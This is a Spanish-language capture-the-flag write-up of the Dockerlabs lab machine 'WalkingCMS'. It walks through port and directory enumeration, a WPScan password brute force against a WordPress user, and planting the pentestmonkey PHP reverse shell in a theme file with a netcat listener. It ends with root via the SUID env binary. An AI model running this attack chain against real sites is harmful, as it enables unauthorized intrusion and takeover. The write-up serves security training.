Análisis de la Máquina Vulnerable "WalkingCMS"

Despliegue

La máquina "WalkingCMS" se ha descargado de Dockerlabs y se ha desplegado utilizando el siguiente proceso:

```
Descompresión del archivo:
```

unzip walkingcms.zip

Ejecución del script de despliegue:

```
bash auto_deploy.sh walkingcms.tar
```

1-CONECTIVIDAD

Se verifica la conectividad con la máquina víctima mediante un ping:

ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.152 ms

--- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.152/0.152/0.152/0.000 ms

```
IP de la máquina víctima: 172.17.0.2
IP de la máquina atacante: 192.168.0.26
```

2- ESCANEO DE PUERTOS

Se realiza un escaneo completo de puertos utilizando nmap:

nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 02:42:AC:11:00:02 (Unknown)

3- ENUMERACION DE SERVICIOS Y DIRECTORIOS

```
WhatWeb:
```

whatweb 172.17.0.2

http://172.17.0.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTTPServer[Debian Linux] [Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Apache2 Debian Default Page: It works]

Gobuster:

gobuster dir -u http://172.17.0.2 -w /usr/share/dirb/wordlists/common.txt -x php,txt,html

/index.html (Status: 200) [Size: 10701] /server-status (Status: 403) [Size: 275] /wordpress (Status: 301) [Size: 312] [--> http://172.17.0.2/wordpress/]

Exploración del directorio wordpress:

gobuster dir -u http://172.17.0.2/wordpress -w /usr/share/dirb/wordlists/common.txt -x php,txt,html

```
/index.php            (Status: 301) [Size: 0] [--> http://172.17.0.2/wordpress/]
/license.txt          (Status: 200) [Size: 19915]
/readme.html          (Status: 200) [Size: 7401]
/wp-admin             (Status: 301) [Size: 321] [-->
http://172.17.0.2/wordpress/wp-admin/]
/wp-content           (Status: 301) [Size: 323] [-->
http://172.17.0.2/wordpress/wp-content/]
/wp-includes          (Status: 301) [Size: 324] [-->
http://172.17.0.2/wordpress/wp-includes/]
/wp-settings.php      (Status: 500) [Size: 0]
/wp-config.php        (Status: 200) [Size: 0]
/wp-load.php          (Status: 200) [Size: 0]
/wp-blog-header.php   (Status: 200) [Size: 0]
/wp-cron.php          (Status: 200) [Size: 0]
/wp-links-opml.php    (Status: 200) [Size: 234]
/wp-trackback.php     (Status: 200) [Size: 136]
/wp-mail.php          (Status: 403) [Size: 2501]
/wp-signup.php        (Status: 302) [Size: 0] [-->
http://172.17.0.2/wordpress/wp-login.php?action=register]
```

4- ANALISIS Y EXPLOTACION DE VULNERABILIDADES

```
Identificación de Usuario:
Se encuentra un comentario en el blog que sugiere el usuario mario:
```

http://172.17.0.2/wordpress/index.php/2024/03/20/hola-mundo/#comment-1

Enumeración y Fuerza Bruta con WPScan:

wpscan --url http://172.17.0.2/wordpress/ -e vp,u

[+] Enumerating Users (via Passive and Aggressive Methods) [i] User(s) Identified: [+] mario

Fuerza bruta de la contraseña:

wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlists/rockyou.txt

Valid Combinations Found: Username: mario, Password: love

Acceso a WordPress: Se accede al panel de administración de WordPress con las credenciales mario/love.

Carga de Reverse Shell: Se carga una reverse shell en el archivo index.php del tema activo:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Establecimiento de Conexión: En la máquina atacante se pone a la escucha:

nc -nlvp 4444

Y se accede al index.php modificado:

http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php

connect to [192.168.0.26] from (UNKNOWN) [172.17.0.2] 44344

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data

TTY Interactiva:

```
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
```

Se obtiene una TTY interactiva

5- ESCALAMIENTO DE PRIVILEGIOS

```
Permisos SUID:
Se buscan archivos con permisos SUID:
```

find / -perm -u=s -type f 2>/dev/null

/usr/bin/chfn /usr/bin/gpasswd /usr/bin/mount /usr/bin/passwd /usr/bin/umount /usr/bin/chsh /usr/bin/su /usr/bin/env /usr/bin/newgrp

Explotación de env: Se utiliza env para obtener una shell con privilegios elevados:

/usr/bin/env /bin/sh -p

whoami root

Recomendaciones

```
Actualizar y Parchear: Mantener todos los componentes del sistema y aplicaciones actualizados.
Configurar Correctamente los Servicios: Asegurar configuraciones seguras para servicios y aplicaciones.
Implementar Controles de Acceso: Utilizar autenticación multifactor y políticas de contraseñas seguras.
Monitoreo y Auditoría: Implementar sistemas de monitoreo y auditoría para detectar actividades sospechosas.
Capacitación en Seguridad: Asegurar que los usuarios y administradores reciban formación en prácticas de seguridad.
```

Conclusión

El análisis de la máquina "WalkingCMS" ha identificado múltiples vulnerabilidades, desde una configuración de WordPress expuesta hasta archivos con permisos SUID explotables. La explotación ha permitido comprometer el sistema y escalar privilegios hasta obtener acceso root. Las recomendaciones proporcionadas buscan mitigar estas vulnerabilidades y mejorar la seguridad general del sistema.